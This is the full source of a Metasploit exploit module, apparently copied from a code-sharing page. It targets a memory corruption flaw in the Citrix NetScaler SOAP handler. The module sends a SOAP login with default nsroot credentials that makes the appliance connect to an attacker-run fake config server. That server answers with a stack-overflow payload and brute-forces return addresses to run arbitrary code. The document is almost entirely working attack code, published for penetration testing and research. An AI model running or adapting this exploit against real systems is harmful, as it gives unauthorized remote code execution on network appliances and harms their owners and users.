Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::Remote::TcpServer
11
  include Msf::Exploit::Brute
12

13
  def initialize(info={})
14
    super(update_info(info,
15
      'Name'           => "Citrix NetScaler SOAP Handler Remote Code Execution",
16
      'Description'    => %q{
17
        This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance.
18
        The vulnerability exists in the SOAP handler, accessible through the web interface. A
19
        malicious SOAP requests can force the handler to connect to a malicious NetScaler config
20
        server. This malicious config server can send a specially crafted response in order to
21
        trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary
22
        code with the privileges of the web server running the SOAP handler. This module has been
23
        tested successfully on the NetScaler Virtual Appliance 450010.
24
      },
25
      'License'        => MSF_LICENSE,
26
      'Author'         =>
27
        [
28
          'Bradley Austin', # Vulnerability Discovery and PoC
29
          'juan vazquez' # Metasploit module
30
        ],
31
      'References'     =>
32
        [
33
          ['URL', 'http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html']
34
        ],
35
      'Payload'        =>
36
        {
37
          'Space'          => 1024,
38
          'MinNops'        => 512,
39
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
40
        },
41
      'Arch'           => ARCH_X86,
42
      'Platform'       => 'bsd',
43
      'Stance'         => Msf::Exploit::Stance::Aggressive,
44
      'Targets'        =>
45
        [
46
          [ 'NetScaler Virtual Appliance 450010',
47
            {
48
              'RwPtr'        => 0x80b9000, # apache2 rw address / Since this target is a virtual appliance, has sense.
49
              'Offset'       => 606,
50
              'Ret'          => 0xffffda94, # Try before bruteforce...
51
              # The virtual appliance lacks of security mitigations like DEP/ASLR, since the
52
              # process being exploited is an apache child, the bruteforce attack works fine
53
              # here.
54
              'Bruteforce'   =>
55
                {
56
                  'Start' => { 'Ret' => 0xffffec00 }, # bottom of the stack
57
                  'Stop'  => { 'Ret' => 0xfffdf000 }, # top of the stack
58
                  'Step'  => 256
59
                }
60
            }
61
          ],
62
        ],
63
      'DisclosureDate' => '2014-09-22',
64
      'DefaultTarget'  => 0))
65

66
    register_options(
67
      [
68
        OptString.new('TARGETURI', [true, 'The base path to the soap handler', '/soap']),
69
        OptAddress.new('SRVHOST', [true, "The local host to listen on. This must be an address on the local machine reachable by the target", ]),
70
        OptPort.new('SRVPORT', [true,  "The local port to listen on.", 3010])
71
      ])
72
  end
73

74

75
  def check
76
    res = send_request_cgi({
77
      'method' => 'GET',
78
      'uri'    => normalize_uri(target_uri.path)
79
    })
80

81
    if res && res.code == 200 && res.body && res.body =~ /Server Request Handler.*No body received/m
82
      return Exploit::CheckCode::Detected
83
    end
84

85
    Exploit::CheckCode::Unknown
86
  end
87

88
  def exploit
89
    if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST'])
90
      fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target')
91
    end
92

93
    if check != Exploit::CheckCode::Detected
94
      fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found")
95
    end
96

97
    start_service
98

99
    if target.ret
100
      @curr_ret = target.ret
101
      send_request_soap
102
      Rex.sleep(3)
103

104
      if session_created?
105
        return
106
      end
107
    end
108

109
    super
110
  end
111

112
  def brute_exploit(addrs)
113
    @curr_ret = addrs['Ret']
114
    send_request_soap
115
  end
116

117
  def send_request_soap
118
    soap = <<-EOS
119
<?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">
120
<SOAP-ENV:Body>
121
<ns7744:login xmlns:ns7744="urn:NSConfig">
122
<username xsi:type="xsd:string">nsroot</username>
123
<password xsi:type="xsd:string">nsroot</password>
124
<clientip xsi:type="xsd:string">#{datastore['SRVHOST']}</clientip>
125
<cookieTimeout xsi:type="xsd:int">1800</cookieTimeout>
126
<ns xsi:type="xsd:string">#{datastore['SRVHOST']}</ns>
127
</ns7744:login>
128
</SOAP-ENV:Body>
129
</SOAP-ENV:Envelope>
130
    EOS
131

132
    print_status("Sending soap request...")
133

134
    send_request_cgi({
135
      'method' => 'POST',
136
      'uri'    => normalize_uri(target_uri.path),
137
      'data'   => soap
138
    }, 1)
139
  end
140

141
  def on_client_data(c)
142
    print_status("#{c.peerhost} - Getting request...")
143

144
    data = c.get_once(2)
145
    req_length = data.unpack("v")[0]
146

147
    req_data = c.get_once(req_length - 2)
148
    unless req_data.unpack("V")[0] == 0xa5a50000
149
      print_error("#{c.peerhost} - Incorrect request... sending payload anyway")
150
    end
151

152
    print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret 0x#{@curr_ret.to_s(16)}...")
153

154
    my_payload = Rex::Text.pattern_create(target['Offset'])
155
    my_payload << [@curr_ret, target['RwPtr']].pack("V*")
156
    my_payload << payload.encoded
157

158
    pkt = [my_payload.length + 6].pack("v")
159
    pkt << "\x00\x00\xa5\xa5"
160
    pkt << my_payload
161
    c.put(pkt)
162
    c.disconnect
163
  end
164
end
165

166